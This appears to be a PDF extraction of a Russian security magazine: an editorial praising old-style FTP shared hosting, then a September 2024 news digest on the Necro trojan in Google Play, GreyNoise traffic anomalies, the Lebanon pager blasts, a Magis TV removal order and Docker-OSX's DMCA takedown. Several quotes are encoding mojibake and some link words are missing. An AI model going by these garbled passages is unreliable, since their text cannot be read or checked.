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Се год ня я вытащу на пуб лику еще один
редак цион ный спор: в нем мне раз
за разом рас ска зыва ют, что заливать сай ты
на FTP — это несов ремен но и чуть ли
не стыд но, а я упор но нас таиваю на том, что
это прек расный, прос той и надеж ный спо- 
соб, который мы если не потеря ли, то пос-
тепен но теря ем.

Рань ше (то есть в девянос тые и начало нулевых) хос тинг был все го двух
видов: Dedicated и Shared. В пер вом слу чае ты получа ешь сер вер опре делен- 
ной кон фигура ции — и делай с ним, что хочешь.

Shared Hosting — аль тер натива для прос тых людей и малых орга низа ций.
Пла тишь нем ного денег и получа ешь дос туп к админ ской панели, пап ке
на FTP и реляци онной БД (или нес коль ким). Все, что нуж но, что бы раз вернуть
сайт! Если понадо бят ся какие-то нас трой ки веб-сер вера, то для это го
в Apache есть кон фиги , которые кла дут ся пря мо в пап ку с сай том..htaccess

Не дос татков у это го метода мас са. Мас шта биру емость — никакая, дос- 
тупа по SSH обыч но нет, уста новить что-то на уров не сис темы невоз можно,
пос тавить задачу в cron — никак. Да и с безопас ностью у обыч ного FTP не все
в поряд ке из-за отсутс твия шиф рования.

На замену Shared Hosting приш ло сра зу мно го раз ных вещей, каж дая
из них — для сво ей катего рии поль зовате лей.

VPS и VDS — замена для тех, кто меч тал о выделен ном сер вере
(Dedicated), но не хотел пла тить мно го. Тут тебе и SSH, и cron, и уста нов ка
любых при ложе ний. Мно гие про вай деры сей час даже раз реша ют заг рузить
ISO с опе раци онкой. Оче вид ный недос таток — сис тему при дет ся адми нить:
нас тра ивать и потом обновлять веб-сер вер, обратный прок си, базу дан ных,
фрей мвор ки и все осталь ное хозяй ство. Уско рить деп лой мож но при помощи
Docker, но порог вхож дения это толь ко повыша ет.

Ес ли нуж на мас шта биру емость, то став ки рас тут еще силь нее: для серь- 
езных дел теперь нужен облачный хос тинг, Kubernetes, вир туаль ная сет ка
и про чие радос ти. Не то что бы в этом было что-то пло хое, прос то это индус- 
три аль ный уро вень, где под дер жкой может занимать ся целая коман да.

Для тех, кто не хочет адми нить, есть дру гое решение — PaaS-плат формы
вро де  и , а так же лям бда-фун кции, они же «бес- 
сервер ный хос тинг». В пер вом слу чае мы завязы ваем ся на какое-то кон крет- 
ное заранее обус тро енное окру жение со сво ими осо бен ностя ми, во вто ром
вооб ще заг ружа ем толь ко прог рам мный код и даже дан ные хра ним где-то
отдель но. Нем ного в сто роне сто ит  — уди витель ное тво рение фрон- 
тенде ров, которые решили заново изоб рести бэкенд.

Heroku Google App Engine

Vercel

Доб ро пожало вать в сов ремен ный фрон тенд

Все эти шту ки тоже хороши, но ори енти рова ны в пер вую оче редь на веб-при- 
ложе ния. То есть нацеле ны на прог раммис тов, име ют опре делен ный порог
вхож дения и не дают прос то взять и выложить что-то в интернет.

Чуть более дру жес твен ны к нович кам облачные сре ды раз работ ки вро де
 и . Некото рые из них готовы хос тить ста тику в разум ных пре делах

и поз воля ют дер жать сер вис пер манен тно запущен ным, при чем даже на бес- 
плат ных тарифах.

Glitch Replit

Glitch — хорошая попыт ка сно ва сде лать веб дев веселым

Ну и наконец, для прос тых людей, не обу чен ных искусс твам кодин га и адми- 
нис три рова ния, есть сер висы вро де , « » и про чих конс трук- 
торов. Но рас смат ривать их как хос тинг было бы стран но: тут нуж но пла тить
нес коль ко тысяч руб лей в месяц за сме хот ворное количес тво дан ных и тра- 
фика. Ско рее это пла та за поль зователь ский софт, готовые шаб лоны
и допол нитель ные сер висы вро де при ема пла тежей.

Wix.com Тиль ды

В общем, все перечис ленное совер шенно не под ходит, если ты пла ниру- 
ешь либо захос тить ста тичес кий сайт, либо прос то кинуть какой-то файл
и сде лать его дос тупным через HTTP. Ну или запус тить прос тень кое веб-при- 
ложе ние, не нас тра ивая весь стек и не адап тируя свой код к при чудам окру- 
жения.

Для ста тичес ких сай тов, впро чем, есть еще два неп лохих вари анта: 
 и . С тех пор как бес плат ные акка унты GitHub ста ло воз можно

делать при ват ными, он стал поч ти иде аль ной пло щад кой для неболь шого
лич ного сай та.

ба кеты
S3 GitHub Pages

Нуж но толь ко понимать, что сер вис пре дос тавля ется «по доб роте душев- 
ной», то есть толь ко до тех пор, пока в Microsoft его счи тают выгод ным
и полез ным. Если не веришь, что его ког да-нибудь могут прек ратить, вспом ни

.судь бу GeoCities
Объ ектное хра нили ще S3 такого недос татка лишено и точ но не дол жно

никуда про пасть, пока ты пла тишь копе ечку. Вот толь ко перевес ти ее из Рос- 
сии теперь неп росто; ана логи S3 есть у «Яндекса» и Mail.ru, но ста тичес кие
сай ты, нас коль ко я знаю, там хос тить не вый дет.

К тому же бакет S3 тре бует еди нора зовой, но заковы рис той нас трой ки,
преж де чем ста нет сай том. Что бы фай лы из него было вид но из интерне та,
понадо бит ся под клю чить роутинг  и опре делен ным обра зом
нас тро ить .

Amazon Route 53
по лити ки дос тупа

INFO

Как-то раз я написал 
. Он раз работан на Python, а соз дал его

автор минима лис тично го веб-фрей мвор ка Flask
и шаб лониза тора Jinja2.

статью о стат генера торе
Lektor

Кста ти, если хочешь сэконо мить, можешь поп робовать замутить какое-то
сочета ние из ста тичес кого сай та на GitHub и бес плат ных воз можнос тей
облачной IDE вро де Glitch или Replit. Мож но еще поп робовать добавить

 для хра нения дан ных, там впол не воль гот ные лимиты на бес плат ное
исполь зование. Но это все же нем ного из серии «как сде лать трол лей бус
из бухан ки хле ба» — занят но, но не очень надеж но и осно вано на кон крет ных
про дук тах.

Firebase

Ну и наконец, сайт мож но захос тить пря мо у себя дома — на сви сающей
с пач корда Raspberry Pi. Дос таточ но купить ста тичес кий IP и про писать NAT
на роуте ре. Вый дет даже не Dedicated, а вла дение сво им дата-цен тром! Но,
думаю, недос татки такого решения впол не оче вид ны.

По луча ется, что уни каль ность Shared-хос тинга была в прос тоте и стан- 
дарти зации. Ты всег да мог рас счи тывать на один и тот же стек LAMP
и любимые все ми хос терами cPanel и phpMyAdmin. Да, конеч но, сей час все
это уже пол ное старье. Но тот же уро вень перено симос ти теперь дос тижим
толь ко с вир туаль ным сер вером и Docker. Тот же уро вень лег кости — прос то
никак.

Хо ронить ста роре жим ный хос тинг пока ранова то: его еще пре дос тавля ют
ком пании вро де , ,  и про чие. Но из мей нстри ма
он прев ратил ся в ред кость и дос тупен все боль ше как легаси.

BlueHost HostGator SiteGround

Мне кажет ся, при изо билии самых раз ных вари антов пря мой замены ему
так и не при дума ли. Перетас кивать ста тику и скрип тики в окно FTP-кли ента
и получать работа ющий сайт по-преж нему чер тов ски удоб но.
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В этом месяце: спе циалис ты изу чают стран ные шумы
в мировом тра фике, в Google Play про ник тро ян Necro, суд
обя зал Google уда лить пират ское при ложе ние с устрой ств
поль зовате лей, в Ливане про изош ла мас совая детона ция
пей дже ров и раций, на обновле ние ТСПУ могут пот ратить
поч ти 60 мил лиар дов руб лей, а так же дру гие инте рес ные
события про шед шего сен тября.

БУРИ В ТРАФИКЕ
С янва ря 2020-го спе циалис ты ком пании GreyNoise наб люда ют круп ные вол- 
ны «шумовых бурь» (Noise Storms), которые содер жат иска жен ный
интернет-тра фик. Нес мотря на тща тель ный ана лиз и годы наб людений,
иссле дова тели так и не сумели уста новить про исхожде ние и наз начение этих
«шумов».

Ана лити ки полага ют, что «шумы» могут быть свя заны с некими сек ретны ми
ком муника циями, сиг налами для коор динации DDoS-атак, скры тыми канала- 
ми управле ния вре донос ными прог рамма ми или вооб ще могут являть ся
резуль татом неп равиль ных нас тро ек.

GreyNoise опуб ликова ла свои догад ки о «шумовых бурях» в надеж де, что
мировое сооб щес тво ИБ-спе циалис тов поможет раз гадать эту загад ку
и выяс нить при чину воз никно вения ано малий в тра фике.

Ис сле дова тели рас ска зали, что наб люда ют вол ны под дель ного
интернет-тра фика, исхо дящие с мил лионов спу фин говых IP-адре сов из раз- 
личных источни ков, вклю чая CDN китай ских плат форм QQ, WeChat и WePay.

Та кие «бури» порож дают мас штаб ные вол ны тра фика, нап равлен ные
на кон крет ных про вай деров (Cogent, Lumen и Hurricane Electric), при этом
избе гая дру гих, в час тнос ти — Amazon Web Services (AWS).

В основном такой тра фик сос редото чен на TCP-соеди нени ях (осо бен но
через порт 443), но так же наб люда ется мно жес тво ICMP-пакетов, в пос- 
леднее вре мя содер жащих встро енную ASCII-стро ку LOVE.

Так же отме чает ся, что в TCP-тра фике изме няют ся такие парамет ры, как раз- 
мер окна, для эму ляции раз личных ОС, что поз воля ет сде лать эту активность
более незамет ной и с тру дом под дающей ся обна руже нию.

Зна чения Time to Live (TTL), которые опре деля ют, как дол го пакет находит- 
ся в сети, преж де чем будет отбро шен, уста нов лены в диапа зоне
от 120 до 200, что бы ими тиро вать нас тоящие сетевые перехо ды.

Ис сле дова тели говорят, что в целом фор мат и харак терис тики этих
«шумовых бурь» ско рее выг лядят как целенап равлен ная работа ком петен тно- 
го челове ка, а не как мас штаб ные побоч ные эффекты от неп равиль ных кон- 
фигура ций.

То есть стран ный тра фик ими тиру ет обыч ные потоки дан ных, но его
истинное пред назна чение все еще оста ется загад кой.

Ана лити ки GreyNoise уже опуб ликова ли на  PCAP-дан ные двух
недав них «шумовых бурь», приг лашая дру гих ИБ-иссле дова телей при соеди- 
нить ся к рас сле дова нию и поделить ся сво ими сооб ражени ями о про исхо- 
дящем.

GitHub

 УЩЕРБА ОТ ИТ-ПРЕСТУПЛЕНИЙ91 ÌÈËËÈÀÐÄ

На ВЭФ-2024 замес титель началь ника следс твен ного депар тамен та МВД Рос сии Дани ил
Филип пов рас ска зал, что в текущем году ущерб от ИТ-прес тупле ний в Рос сии уже сос тавил

 руб лей. При этом за весь 2023 год этот показа тель дос тиг 
руб лей.
91 мил лиард 157 мил лиар дов

По сло вам Филип пова, с 2020 по 2023 год количес тво ИТ-прес тупле ний вырос ло на  —
с  до .

27%
510 тысяч 677 тысяч

В целом, по дан ным МВД, прес тупле ния в сфе ре ИТ сос тавля ют более  от их обще го
количес тва.

30%

NECRO В GOOGLE
PLAY
Тро ян Necro обна ружи ли в двух при ложе ниях в офи циаль ном магази не
Google Play. Общее количес тво заг рузок этих при ложе ний пре выша ет 11 мил- 
лионов. Иссле дова тели «Лабора тории Кас пер ско го» полага ют, что зараже- 
ние исхо дило от сто рон него рек ламно го SDK.

Эк спер ты обна ружи ли новую вер сию Necro в кон це августа 2024 года, ког- 
да вре донос уже про ник в два популяр ных при ложе ния в Google Play, а так же
рас простра нял ся через дру гие источни ки. Боль ше все го от атак мал вари пос- 
тра дали поль зовате ли из Рос сии, Бра зилии, Вьет нама, Эква дора и Мек сики.

Necro пред став ляет собой заг рузчик, который ска чива ет и запус кает
на заражен ном устрой стве дру гие вре донос ные ком понен ты в зависи мос ти
от команд, получен ных от его опе рато ров.

Изу чен ный иссле дова теля ми вари ант Necro спо собен заг ружать
на заражен ный смар тфон раз ные модули. Так, есть пла гины, которые показы- 
вают на устрой стве рек ламу в невиди мых окнах и прок ликива ют ее. Дру гие
модули исполь зуют ся для заг рузки и выпол нения про изволь ных фай лов
JavaScript и DEX (Happy SDK, Jar SDK), уста нов ки на смар тфон сто рон них
при ложе ний, откры тия в невиди мых окнах про изволь ных ссы лок в WebView,
выпол нения там про изволь ного JavaScript-кода и, исхо дя из тех ничес ких
харак терис тик устрой ства, веро ятно, офор мле ния плат ных под писок.

Кро ме того, пла гины поз воля ют зло умыш ленни кам переда вать тра фик
через устрой ство жер твы. Бла года ря это му хакеры могут посещать нуж ные им
ресур сы яко бы от лица пос тра дав шего, а так же сде лать заражен ный гад жет
частью прок си-бот нета.

От меча ется, что авто ры Necro могут регуляр но выпус кать новые пла гины
и рас простра нять их сре ди заражен ных устрой ств, в том чис ле выбороч но
(нап ример, в зависи мос ти от информа ции о заражен ном при ложе нии).

Necro и его пла гины

Пер вым при ложе нием, где был выяв лен новый Necro (вне Google Play), ока- 
залась модифи циро ван ная вер сия Spotify Plus. Соз датели это го при ложе ния
утвер жда ли, что прог рамма содер жит мно жес тво допол нитель ных фун кций,
которых нет в офи циаль ной вер сии.

За тем иссле дова тели обна ружи ли Necro в изме нен ной вер сии WhatsApp,
а так же в модах для раз личных игр, вклю чая Minecraft, Stumble Guys, Car
Parking Multiplayer.

Что каса ется Google Play, мал варь про ник ла в офи циаль ный магазин
в сос таве при ложе ний Wuta Camera и Max Browser. Сог ласно ста тис тике
Google Play, общее количес тво ска чива ний этих при ложе ний пре выша- 
ет 11 мил лионов.

Ис сле дова тели уве доми ли о мал вари пред ста вите лей Google Play, пос ле чего
вре донос ный заг рузчик был уда лен из Wuta Camera в вер сии 6.3.7.138, а Max
Browser поп росту убра ли из магази на при ложе ний. Так как пос ледняя вер сия
Max Browser (1.2.0) по-преж нему содер жит Necro, «чис той» вер сии это го при- 
ложе ния не сущес тву ет и поль зовате лям бра узе ра рекомен дует ся немед- 
ленно уда лить его со сво их устрой ств.

Как объ ясня ют спе циалис ты, Necro про ник в Google Play и упо мяну тые
выше при ложе ния в сос таве рек ламно го SDK Coral, который исполь зовал
обфуска цию для сок рытия сво ей вре донос ной активнос ти, а так же сте ганог- 
рафию для ска чива ния полез ной наг рузки вто рого эта па — shellPlugin,
которая мас кирова лась под безобид ные изоб ражения в фор мате PNG.

На пом ним, что ранее Necro был замечен в Google Play , в рам- 
ках еще более мас штаб ной вре донос ной кам пании. Тог да заражен ное мал- 
варью при ложе ние CamScanner успе ли заг рузить боль ше 100 мил лионов раз.

в 2019 году

НОВЫЕ РЕКОРДЫ LINUX
По дан ным плат формы StatCounter, в августе 2024 года доля нас толь ных компь юте ров
под управле нием Linux впер вые пре выси ла отметку в .4,5%

При этом в июле 2023 года Linux пре одо лел порог в , то есть за год рост сос тавил .3% 1,5%

Что бы дос тичь текущих показа телей, Linux пот ребова лось более .30 лет

Ес ли текущая тен денция сох ранит ся, к фев ралю 2025 года доля Linux на нас толь ных ПК может
дос тичь .5%

Для срав нения сто ит отме тить, что на долю Windows при ходит ся  рын ка, а за ней сле- 
дует macOS с .

76,46%
15,48%

GOOGLE, УДАЛИ!
Суд в Аргенти не пос тановил, что ком пания Google обя зана «незамед литель- 
но уда лить» при ложе ния Magis TV с устрой ств поль зовате лей Android. Так
как это пират ское IPTV-при ложе ние не пред став лено в офи циаль ном магази- 
не Google Play, речь идет об уда лении при ложе ний, уста нов ленных людь ми
из сто рон них источни ков.

В сен тябре аргентин ские влас ти обя зали мес тных интернет-про вай деров
заб локиро вать десят ки доменов, свя зан ных с Magis TV, в свя зи с наруше нием
прав интеллек туаль ной собс твен ности. В общей слож ности под бло киров ку
попали 69 доменов, и теперь поль зовате ли из Аргенти ны не дол жны иметь
к ним дос тупа. Пра вооб ладате ли, судя по все му, нацели вались в основном
на ресел леров под писок Magis TV, так как в спис ке фигури рует лишь один
из основных доменов сер виса.

Пер воначаль ная жалоба на Magis TV пос тупила от латино аме рикан ской
анти пират ской груп пы Alianza, которая пред став ляет инте ресы ком паний,
работа ющих в сек торе плат ного телеви дения: Direct TV, Sky Brasil, Warner
Bros. Discovery, Disney, Globo, Win Sports, Telecine и так далее.

Рас сле дова ние про води лось аргентин ским Спе циаль ным отде лом
по борь бе с кибер прес тупностью (UFEIC) под руководс твом про куро ра Але- 
хан дро Мус со (Alejandro Musso). И в ито ге пос танов ление о бло киров- 
ке 69 доменов, свя зан ных с Magis TV, было вынесе но 13 сен тября судь ей
Эсте баном Рос синь оли (Esteban Rossignoli).

Од нако про курор заявил, что бло киров ка 69 доменов озна чает лишь то,
что «при ложе ние боль ше нель зя будет ска чать», и нуж но пой ти гораз до даль- 
ше это го. В час тнос ти, нуж но устра нить угро зу, которую пред став ляют мил- 
лионы копий Magis TV, уже уста нов ленные на устрой ствах поль зовате лей.
И судья сог ласил ся с этой точ кой зре ния.

В пред писании для ком пании Google судья Рос синь оли пишет, что ком- 
пания обя зует ся «при нять необ ходимые тех ничес кие меры для незамед- 
литель ного уда ления с Android-сис тем, тран сли рующих IP-адре са, находя- 
щиеся на тер ритории Аргентин ской Рес публи ки, при ложе ния под наз вани ем
Magis TV».

Так же в докумен те ука зано имя фай ла (magis_mobile_v6.5.2.apk) и сле- 
дующие хеши:
• SHA-1: e68156b531ffaade1090b7326b7ae7d604975cd0;
• MD5: c4614c08c3be4ee9972870056d47afae.

Сог ласно VirusTotal, оба хеша отно сят ся к одно му и тому же фай лу — это APK-
файл раз мером 48,89 МБ (51 262 825 байт).

Ком менти руя решение судьи, Але хан дро Мус со приз нал, что «такого еще не
слу чалось», но наз вал эту меру совер шенно необ ходимой. Так же он отме- 
чает, что эту прак тику навер няка захотят пов торить мно гие стра ны, которые
тоже стал кива ются с подоб ными проб лемами.

«

»

«Ýòî áåñ ïðå öåäåí òíîå ïðåä ïèñàíèå ñóäà â íàñ òîÿùåå âðå ìÿ ðàñ ñìàò- 
ðèâà åòñÿ êîì ïàíè åé Google. Ìû ïîíèìà åì, ÷òî îíè íå ìîãóò ïðîñ òî
åãî îòêëî íèòü. Ðåøåíèå ñóäà ïðåä ïèñûâà åò óäà ëèòü ýòî ïðè ëîæå íèå
íà âñåõ óñòðîé ñòâàõ, èìå þùèõ àðãåíòèí ñêèå IP-àäðå ñà, ÷åðåç
îáíîâëå íèå îïå ðàöè îííîé ñèñ òåìû Android, — êîì ìåíòè ðóåò Ìóñ ñî. —
Ïîñ ëå ýòî ãî óñòà íîâ ëåííîå ïðè ëîæå íèå èñ÷åçíåò, è åãî íåëü çÿ áóäåò
çàã ðóçèòü ñíî âà, ÷òî ïîç âîëèò ðàçîð âàòü ïîðî÷ íûé êðóã öèô ðîâîãî
ïèðàòñ òâà. Åäèíñ òâåí íûé ñïî ñîá äëÿ Magis TV îáîé òè ýòè îãðà íè÷å- 
íèÿ — ðàç ðàáîòàòü íîâîå ïðè ëîæå íèå. Íî ìû áóäåì æäàòü è áóäåì
ãîòîâû ïîâ òîðèòü âñå òî æå ñàìîå, êàê òîëü êî îáíà ðóæèì (íîâîå ïðè- 
ëîæå íèå)».

Ин терес но, что Alianza, в чис ле про чего, пред став ляет инте ресы Ла Лиги,
а выс ший дивизи он фут боль ных лиг Испа нии уже некото рое вре мя обсужда ет
ана логич ные меры с пред ста вите лями Google и выс тупа ет за уда лен ное сти- 
рание при ложе ний с Android-устрой ств поль зовате лей.

«

»

«Áûëè íå òîëü êî çàá ëîêèðî âàíû âñå äîìåíû, ñâÿ çàí íûå ñ íåçàêîí íûì
ñåð âèñîì è åãî òåõ íîëîãè ÷åñ êîé èíôðàñòðóê òóðîé, íî è âûíåñå íî
ðåøåíèå î òîì, ÷òî êîì ïàíèÿ Google äîë æíà ïðå äîò âðà òèòü èñïîëü- 
çîâàíèå íåçàêîí íûõ ïðè ëîæå íèé, óæå óñòà íîâ ëåííûõ íà Android-
óñòðîé ñòâàõ, ñ ïîìîùüþ ñîáñ òâåí íûõ ìåõàíèç ìîâ áåçîïàñ íîñòè,
î ÷åì ìû ïðî ñèëè íåîä íîêðàò íî. Áîëåå òîãî, â 2022 ãîäó ñóäüÿ ïåð- 
âîé èíñòàí öèè â Èñïà íèè âûíåñ ïîñ òàíîâ ëåíèå, òàê æå òðå áóþùåå
îò Google ïðè íÿòèÿ àíà ëîãè÷ íûõ ìåð ïî ïðîñü áå Ëà Ëèãè, íî ýòîò ïðî- 
öåññ âñå åùå ïðî äîë æàåò ñÿ», — çàÿâèë ãëà âà Ëà Ëèãè Õàâü åð Òåáàñ
(Javier Tebas).

По ка неиз вес тно, будет ли Google оспа ривать решение аргентин ско го суда
или дей стви тель но уда лит тре буемые при ложе ния с устрой ств поль зовате- 
лей. Одна ко поль зовате лям Android вряд ли пон равит ся мысль, что Google
может поп росту сте реть с их устрой ств сто рон ние при ложе ния, которые они
уста нав ливали самос тоятель но, даже не через Google Play Store.

CISA КРИТИКУЕТ РАЗРАБОТЧИКОВ
Выс тупая на кон ферен ции Mandiant mWISE, гла ва Агентства по кибер безопас ности и защите
инфраструк туры США (CISA) Джен Истерли (Jen Easterly) заяви ла, что раз работ чики ПО, пос- 
тавля ющие небезо пас ный код с ошиб ками, дол жны перес тать «помогать» кибер прес тупни кам,
которые в ито ге исполь зуют эти уяз вимос ти для атак.

Она счи тает, что называть баги «уяз вимос тями в прог рам мном обес печении» — это слиш- 
ком мяг ко и сле дует пря мо говорить о «дефек тах [кон крет ных] про дук тов».

→ «На самом деле имен но пос тавщи ки тех нологий соз дают проб лемы, откры- 
вая две ри зло умыш ленни кам и спо собс твуя их ата кам.

По чему мы не зада емся воп росами о том, почему ПО тре бует так мно го экс- 
трен ных исправ лений? Ответ прост: мы дол жны предъ являть боль ше тре бова- 
ний к пос тавщи кам тех нологий.

Нес мотря на мно гомил лиар дную индус трию кибер безопас ности, у нас
по-преж нему есть проб лемы с качес твом ПО сто имостью в нес коль ко трил- 
лионов дол ларов, что при водит к раз витию гло баль ной кибер прес тупнос ти,
тоже оце нива ющей ся в нес коль ко трил лионов дол ларов.

К сожале нию, мы ста ли жер твой мифа о тех нологи чес кой исклю читель нос ти.
У нас нет проб лемы с кибер безопас ностью. У нас есть проб лема с качес твом
прог рам мно го обес печения. Нам не нуж но боль ше защит ных про дук тов, нам
нуж но боль ше защищен ных про дук тов», — заяви ла Истерли в сво ей речи.

ВЗРЫВАЮЩИЕСЯ
ПЕЙДЖЕРЫ
В кон це сен тября на тер ритории Ливана про изош ла 

. В резуль тате этих взры вов погиб ли не менее 12 человек, а око- 
ло 3000 получи ли ранения. Пей дже рами поль зовались учас тни ки воени зиро- 
ван ного шиит ско го дви жения «Хез болла» (для защиты от прос лушива ния
и пелен гации). По дан ным СМИ, пар тию этих устрой ств «Хез болла» получи ла
в пос ледние месяцы.

мас совая детона ция
пей дже ров

Че рез день пос ле детона ции пей дже ров в Ливане начали взры вать ся
рации, при над лежащие чле нам «Хез боллы». По информа ции СМИ, устрой- 
ства были закуп лены шиит ским дви жени ем око ло пяти месяцев назад, прак- 
тичес ки одновре мен но с пей дже рами.

Как сооб щало  со ссыл кой на минис терс тво здра воох ранения
стра ны, в резуль тате серии новых взры вов погиб ли не менее 20 человек,
а еще 450 получи ли ранения. По дан ным агентства, по край ней мере один
из взры вов про изо шел недале ко от мес та похорон погиб ших накану не учас- 
тни ков «Хез боллы».

Reuters

Счи тает ся, что «Хез болла» исполь зовала пей дже ры модели AR924 тай- 
вань ско го про изво дите ля Gold Apollo. При этом пред ста вите ли Gold Apollo
пос пешили сооб щить, что пей дже ры изго тав лива ет базиру ющаяся
в Будапеш те ком пания BAC Consulting, а Gold Apollo лишь пре дос тавля ла ей
лицен зию и никак не учас тво вала в их про изводс тве.

Что каса ется раций, судя по фото и видео, которые рас простра нились
в сети, взор вавши еся рации были про изве дены япон ской ком пани ей Icom Inc.
При чем это была модель IC-V82, про изводс тво которой прек ратили
еще в 2014 году.

Продолжение статьи →
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Пред ста вите ли Icom сооб щили, что про водят рас сле дова ние слу чив шегося.
В ком пании под чер кну ли, что не про изво дят эти устрой ства с 2014 года, а на
фото в сети не вид но голог рафичес ких пломб, которы ми обыч но мар кирова- 
лись под линные рации (для защиты от под делок), поэто му невоз можно под- 
твер дить, дей стви тель но ли речь идет о про дук тах Icom.

Из началь но пред полага лось, что при чиной детона ции устрой ств мог ла
быть кибера така или спе цопе рация со сто роны спец служб Изра иля.
Но ИБ-экспер ты сра зу отнеслись со скеп сисом к вер сии о кибера таке,
которая яко бы пов лекла за собой перег рев и воз горание акку муля торов.

Так, о про изо шед шем  гла ва iFixit Кайл Винс (Kyle
Wiens) и Май кл Гро вер (Michael Grover), так же извес тный под ником MG,
которо го мно гие зна ют как соз дателя вре донос ного кабеля O.MG и дру гих
похожих гад жетов.

де таль но выс казыва лись

Спе циалис ты соч ли, что перег рев и воз горание литий-ион ных батарей
пей дже ров и раций вряд ли мог ли выз вать столь раз рушитель ные пос ледс- 
твия, — ско рее все го, в устрой ства поп росту заранее внед рили взрыв чатку.

 КОМПАНИЙ ИСПЫТЫВАЮТ НЕХВАТКУ ИТ-
СПЕЦИАЛИСТОВ
41%

Сог ласно опро су «Лабора тории Кас пер ско го»,  ком паний в раз ных стра нах стал кива ются
с нех ваткой ква лифи циро ван ных кад ров в сфе ре ИБ.

41%

Боль ше все го не хва тает экспер тов по угро зам информа цион ной безопас ности и ана лити ков
вре донос ного ПО (по ). Так же отме чает ся зна читель ная нех ватка SOC-ана лити ков — ,
пен тесте ров и экспер тов по сетевой безопас ности ( ), а так же TI-ана лити ков — .

39% 35%
33% 32%

Силь нее все го нех ватка ИБ-спе циалис тов ощу щает ся в государс твен ных сек торах, где
на момент опро са была не зак рыта поч ти полови на вакан сий ( ). Замет ный дефицит так же
отме чает ся в телеком муника циях и медиа ( ), ретей ле и здра воох ранении (по ).

46%
39% 37%

APPLE
ПОЖАЛОВАЛАСЬ
НА DOCKER-OSX
По пуляр ный про ект Docker-OSX уда лили с Docker Hub, так как ком пания Apple
подала зап рос в свя зи с наруше нием DMCA («Закон об автор ском пра ве
в циф ровую эпо ху»), утвер ждая, что про ект наруша ет ее автор ские пра ва.

Docker-OSX — опен сор сный про ект, соз данный ИБ-спе циалис том
под ником Sick.Codes. Это решение поз воля ет вир туали зиро вать macOS
на любом обо рудо вании и может быть раз мещено на любой сис теме, под- 
держи вающей Docker (вклю чая Linux и Windows). Про ект час то исполь зует ся
раз работ чиками, которым необ ходимо про тес тировать софт в macOS, а так- 
же ИБ-иссле дова теля ми для изу чения раз личных кон фигура ций, выяв ления
оши бок и ана лиза вре донос ного ПО.

Сог ласно офи циаль ной ста тис тике, Docker-OSX был заг ружен
более 750 тысяч раз и име ет 500 звезд на Docker Hub, а так же 40 тысяч звезд
на GitHub.

В середи не сен тября поль зовате ли Docker-OSX обна ружи ли, что не могут
заг рузить пос ледние обра зы из репози тория Docker Hub, получая ошиб- 
ку 404. Вско ре пос ле это го Sick.Codes сооб щил, что про ект уда лен из его
акка унта и уда ление свя зано с получе нием DMCA-жалобы от ком пании Apple.

В DMCA-зап росе, который пре дос тавили раз работ чику, юри дичес кая
фир ма Kilpatrick, Townsend and Stockton LLP, пред став ляющая инте ресы ком- 
пании Apple, заяв ляла, что репози торий Docker-OSX содер жит обра зы уста- 
нов щика macOS от Apple, которые защище ны автор ским пра вом.

Так же в докумен те отме чалось, что Docker-OSX вос про изво дит кон тент
Apple без раз решения, а это наруша ет автор ские пра ва в соот ветс твии
с законо датель ством США, и Docker про сят при нять «сроч ные меры» для уда- 
ления репози тория.

С юри дичес кой точ ки зре ния дей ствия Apple оправдан ны, пос коль ку EULA
для macOS дей стви тель но огра ничи вает исполь зование ОС толь ко брен- 
дирован ным обо рудо вани ем Apple и ком пания впра ве кон тро лиро вать соб- 
людение этих усло вий.

Од нако Sick.Codes отме чает, что дей ствия Apple в пер вую оче редь зат- 
ронут ИБ-иссле дова телей, которые исполь зуют Docker-OSX, что бы сде лать
macOS более безопас ной.

«
»

«Êàæ äûé ðàç, êîã äà ÿ ïîñåùàþ êîí ôåðåí öèè ïî áåçîïàñ íîñòè, íàï- 
ðèìåð DEF CON èëè Hardwear.io, êî ìíå ïîä õîäÿò äðó ãèå èññëå äîâà- 
òåëè è ðàñ ñêà çûâà þò, ÷òî îíè èñïîëü çóþò Docker-OSX äëÿ ïîèñ êà óÿç- 
âèìîñ òåé. Ïî ñóòè, ýòî îäèí èç íåì íîãèõ ñïî ñîáîâ ïðè íÿòü ó÷àñ òèå
â bug bounty ïðîã ðàììå Apple, íå èìåÿ íàñ òîÿùå ãî Mac», — ïîÿñ íèë
Sick.Codes.

Так же иссле дова тель счи тает, что Apple про тиво речит сама себе, поощ ряя
ИБ-иссле дова ния и поиск уяз вимос тей, но прес ледуя про екты, которые
помога ют спе циалис там в этой области.

«
»

«Ýòî çàêîí íûé èññëå äîâà òåëü ñêèé ÈÁ�ïðî åêò, êîòîðûé ÿ è åùå
áîëåå 700 òûñÿ÷ ÷åëîâåê èñïîëü çîâàëè äëÿ ïîèñ êà îøè áîê â macOS.
Îíè (Apple) îäíîçíà÷ íî ðàç ðåøà þò èññëå äîâà òåëÿì òåñ òèðîâàòü ñâîè
ïðî äóê òû â ðàì êàõ ïðîã ðàììû Apple Bug Bounty, ó÷àñ òíè êîì êîòîðîé ÿ
ÿâëÿ þñü è óæå íå ðàç îòïðàâ ëÿë îøèá êè â Apple. È ÿ ïðî äîë æó ýòèì
çàíèìàòü ñÿ», — çàÿâèë Sick.Codes.

В нас тоящее вре мя Docker-OSX по-преж нему , но репози- 
торий содер жит толь ко код про екта, а не бинар ники уста нов щика, поэто му
Sick.Codes полага ет, что еще одно го DMCA-зап роса мож но не ждать.

дос тупен на GitHub

АТАКИ НА РОССИЮ И СНГ
Эк спер ты Positive Technologies пред ста вили иссле дова ние киберуг роз СНГ за 2023 год и пер- 
вую полови ну 2024 года.

Ин терес зло умыш ленни ков к реги ону зна читель но вырос: во вто ром квар тале 2024 года здесь
зафик сирова но в  раза боль ше атак, чем годом ранее.2,6

При этом поч ти  всех атак при ходят ся на долю Рос сии. На вто ром и треть ем мес те находят- 
ся Казах стан ( ) и Беларусь ( ).

3/4
8% 7%

В Рос сии наиболь шее количес тво атак приш лось на про мыш ленные пред при ятия ( ),
телеком муника ции ( ), госуч режде ния ( ) и IT-ком пании ( ).

11%
10% 9% 7%

Ин терес но, что доля DDoS-атак на орга низа ции стран СНГ сущес твен но выше обще миро вого
показа теля —  в СНГ про тив  в мире. Такое отли чие экспер ты свя зыва ют с нап ряжен ной
геопо лити чес кой обста нов кой и появ лени ем боль шого количес тва новых хак тивист ских груп- 
пировок.

18% 8%

В 2023 и 2024 годах в реги оне про дол жали деятель ность хак груп пы, извес тные на про тяже нии
мно гих лет, нап ример  и . Одна ко появи лись и новые угро зы, нап ример

, , , , .
XDSpy Cloud Atlas

